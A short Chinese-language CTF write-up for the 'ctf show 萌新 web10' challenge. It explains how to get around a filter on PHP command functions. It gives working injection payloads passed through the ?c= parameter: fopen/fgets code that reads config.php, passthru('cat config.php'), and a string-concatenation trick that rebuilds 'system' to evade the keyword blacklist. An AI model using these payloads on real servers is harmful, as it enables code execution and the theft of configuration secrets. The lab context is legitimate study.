ctf show 萌新 web10
把这几个执行系统命令的函数给禁掉了
那考虑不用系统命令读取并展示文件内容
用多行PHP代码试一试
整理后构造payload
?c=$file_handle = fopen("config.php","r");if ($file_handle){while (!feof($file_handle)) { $line = fgets($file_handle); echo $line; echo "<br />"; }}fclose($file_handle);
随便一试最后竟然真得到了flag 菜菜落泪
看了师傅们的wp 也可以用 passthru('cat
config.php');
这个passthru()函数调用系统命令
还有更高级的是字符拼接
$a='syst';$b='em';$c=$a.$b;$c('cat config.php');
也可以成功绕过过滤
附读取文件php代码
<?php $file_handle = fopen("config.php","r"); //返回值是资源类型。 if ($file_handle){ //接着采用while循环一行行地读取文件,然后输出每行的文字 while (!feof($file_handle)) { //如果不是最后一行就一直循环执行 $line = fgets($file_handle); //读取一行文本 echo $line; //输出一行文本 echo "<br />"; //换行 } } fclose($file_handle);//关闭文件,释放资源